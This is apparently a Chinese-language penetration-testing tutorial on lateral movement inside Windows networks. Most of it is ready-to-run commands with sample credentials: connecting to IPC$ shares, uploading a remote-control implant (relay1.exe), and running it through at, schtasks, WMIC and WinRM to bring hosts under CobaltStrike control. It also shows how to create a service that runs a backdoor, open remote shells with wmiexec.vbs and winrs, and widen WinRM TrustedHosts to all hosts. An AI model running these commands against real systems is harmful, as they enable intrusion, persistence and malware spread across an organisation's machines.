内网横向
在内网渗透过程中获取到某台内网机器的控制权限之后,结合现有的内网信息将权限扩大到另一台或者另一个网段的机器权限,从而突破逻辑隔离等边界限定,获取到重大成果,此过程称之为内网横向渗透。
Windows
IPC+AT横向
IPC介绍
概述
IPC共享“命令管道”的资源,是为了实现进程间通信而开放的命名管道
IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用
建立IPC$
通过ipc$,与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器中执行命令,获取目标机中的信息
1.建立ipc$的命令之后通过 "net use" 查看当前的连接
利用条件:
1、目标机开启了139和445端口; 2、目标主机管理员开启了ipc$默认共享; 3、知道目标机的账户密码。
IPC$的连接失败的原因
- 用户名或密码错误
- 目标机没有打开 ipc$ 默认共享
- 不能成功连接目标的139、445端口
- 命令出现错误
错误号 | 说明 |
---|---|
5 | 拒绝访问 |
53 | 找不到网络路径,包括IP错误、目标没开机、目标防火墙进行端口过滤 |
1219 | 提供的凭据与已存在的凭据集冲突 |
1326 | 未知的用户名或密码错误 |
2242 | 用户的密码已经过期 |
net share #查看本机默认共享
#建立连接
net use \\192.168.172.100\c$ /user:administrator ICQsafe666
#查看本地已经连接的IPC$
net use
#查看目标机器的数据
dir \\192.168.172.100\c$\
#查看文本文件内容
type \\192.168.172.100\c$\whoami.txt
#上传文件
cp shell.txt \\192.168.172.100\c$\shell1.txt
#复制目标机器的文件到本地
cp \\192.168.172.100\c$\shell1.txt .
#删除文件
del \\192.168.172.100\c$\shell1.txt
#将目标机器的磁盘映射到本地z盘
net use z: \\192.168.172.100\c$ /user:administrator ICQsafe666
#查看z盘
dir z:
排查
#查看本机被连接的会话
net session
net session /list
#断开会话
net session \\192.168.172.1 /delete
默认路径
C$|ipc$ ==> c:
、ADMIN$ ==> c:\windows
、Users ==> c:\users
net use \\192.168.172.100 /user:administrator ICQsafe666
建立IPC连接
dir \\192.168.172.100\c$
查看目标主机c根目录的文件
cp shell.txt \\192.168.172.100\c$\shell.txt
复制本地文件到目标服务器上
type \\192.168.172.100\c$\shell.txt
查看目标主机c:\result.txt文件内容
del \\192.168.172.100\c$\shell.txt
删除目标机器的文件
tasklist /s 192.168.172.100 /U administrator /P ICQsafe666
查看目标主机的进程信息
copy 本地文件 \\10.10.0.200\c$\windows\temp\
复制本地文件到目标机器的指定c:\windows\temp\
目标机器执行net session
可以查看当前建立的ipc会话列表
cp relay1.exe \\10.10.0.200\c$\relay1.exe #上传远控文件至目标服务器
copy \10.10.0.200\c$\relay1.exe c:\ #下载目标服务器的文件至本地
net use #查看已经连接ipc
net use * /del /y #删除连接
net time \\10.10.0.200 #查看目标机器的当前时间
at \\10.10.0.200 9:53 \\10.10.0.200\c$\relay1.exe #添加一条计划任务,指定时间为9:53运行\\10.10.0.200\c$\relay1.exe(可以利用CobaltStrike上线边界机,利用边界机创建中继监听器,利用中继监听器生成远控,通过针对目标机器创建计划任务运行远控上线CS)
at \\10.10.0.200 #查看目标主机的计划任务
at \\10.10.0.200 3 /delete #删除指定目标机器的计划任务隐匿
# at在windows server 2008以后弃用
schtasks /create /s 10.10.0.200 /u administrator /p ICQsafe666 /tn relay2 /sc minute /st 10:15 /tr c:\relay1.exe /f #创建计划任务指定时间运行
schtasks /create /s 10.10.0.200 /u administrator /p ICQsafe666 /tn relay2 /sc onstart /tr c:\relay1.exe /f #创建计划任务在启动时运行
schtasks /run /s 10.10.0.200 /u administrator /p ICQsafe666 /tn relay2 /f #运行指定计划任务
schtasks /delete /s 10.10.0.200 /u administrator /p ICQsafe666 /tn relay2 /f #删除指定计划任务
schtasks-create官方文档
https://learn.microsoft.com/zh-cn/windows-server/administration/windows-commands/schtasks-create
在域机器上管理计划任务
创建任务
schtasks /create /tn task1 /U 域名\域用户 /P 域用户密码 /tr 命令 /SC ONSTART /s 域机器ip /RU system
C:\Users\Administrator>schtasks /create /tn task1 /U pentest.local\administrator /P ICQsafe666 /tr "cmd.exe /c whoami > c:/1.txt" /SC ONSTART /s 192.168.172.100 /RU system
运行任务
schtasks /run /tn task1 /s 192.168.10.2 /u 域\域用户 /P 域用户密码
C:\Users\Administrator>schtasks /F /delete /tn task1 /s 192.168.172.100 /u pentest.local\administrator /p ICQsafe666
WMI横向
WMI:(Windows Management Instrumentation; Windows 管理规范),是用户管理本地和远程计算机的一种 模型。通过它可以访问、配置、管理和监视几乎所有的Windows资源。WMI的语法十分简单,基本上常见的命 名空间、对象等用几乎一模一样。它对应的是Windows里的WMI服务(winmgmt)。
在 windows 2000之后的操作系统中内置了该服务。WMI使用公共信息模型(CIM)表示托管组件,其中包括系 统、应用程序、网络等等。CIM中使用类表示管理对象,命名空间是一个类的集合。
通过使用135端口上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务, 例如远程启动服务或执行命令。
利用create创建进程:wmic process call create /?
创建一个进程执行cmd.exe /c whoami > c:\whoami.txt
wmic /node:192.168.172.100 /user:administrator /password:ICQsafe666 process call create "cmd.exe /c whoami > c:\whoami.txt"
创建一个进程执行c:\relay1.exe
wmic /node:10.10.0.200 /user:administrator /password:ICQsafe666 process call create "c:\relay1.exe"
Cscript传递
说明:自带的 cscript 为明文传递,有回显,但是需要事先传入 wmiexec.vbs 文件,需要目标服务器开启 135 端口
前提条件:
- 获得明文密码
- 只能在本地执行
- 需要administrator用户账号,普通权限连接不成功
- 跳板机任意权限
cscript //nologo wmiexec.vbs /shell 192.168.172.100 administrator ICQsafe666 #工作组
cscript //nologo wmiexec.vbs /shell 192.168.172.100 pentest.local\administrator ICQsafe666 #域内
cscript //nologo wmiexec.vbs /shell 192.168.172.100 administrator ICQsafe666
前提:wmiexec.vbs文件能上传到执行命令的主机上去
前提:拿到被控机交互式shell,反弹shell
运行后得到目标机器交互式shell,执行命令......
WinRM横向
WinRM (Windows Remote Management)指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行。
winrs.exe:基于命令行的工具,此工具作为客户端使用,用于远程连接运行WinRM的服务器并执行大多数的cmd命令。
WinRM服务在Windows Vista和Windows Server 2008已经默认安装,但windows 7 和 windows server 2008需要手动启动,从Windows Server 2008 r2开始WinRM自动启动,监听5985端口(HTTP)和5986端口(HTTPS)。
winRM横向移动同时适用于工作组和域环境。
利用条件
通信的双方都需要开启WinRM服务
WinRS 适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。
只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
命令开启WinRM服务:
winrm quickconfig -q
判断是否开启WinRM服务
winrm enumerate winrm/config/listener
netstat -ano | findstr 5985
wmic service list brief | findstr WinRM
sc query | findstr "WinRM"
查看WinRM具体配置
winrm get winrm/config
命令开启WinRM服务:
winrm quickconfig -q
WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问。
设置允许远程主机访问及访问远程主机[攻击机(WEB机器)与靶机(PC机器)均要配置]
winrm set winrm/config/client @{TrustedHosts="*"}
攻击机执行
C:\Users\Administrator\Desktop>winrm quickconfig -q
C:\Users\Administrator\Desktop>winrm set winrm/config/Client @{TrustedHosts="*"}
C:\Users\Administrator\Desktop>winrs -r:192.168.172.100 -u:pentest.local\administrator -p:ICQsafe666
利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}
命令调用了Windows WMI中Win32_process类的Create方法,生成了一个calc.exe的新进程
在远程机器上打开进程
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://192.168.172.100:5985 -u:pentest.local\administrator -p:ICQsafe666
在远程机器上创建&启动服务
创建服务
winrm invoke Create wmicimv2/Win32_Service @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\windows\temp\relay.exe"} -r:http://192.168.172.100:5985 -u:pentest.local\administrator -p:ICQsafe666
启动服务
winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://192.168.172.100:5985 -u:pentest.local\administrator -p:ICQsafe666
运行后门
winrm invoke create wmicimv2/win32_process @{Commandline="cmd.exe /k c:\windows\temp\relay.exe"} -r:http://192.168.172.100:5985 -u:pentest.local\administrator -p:ICQsafe666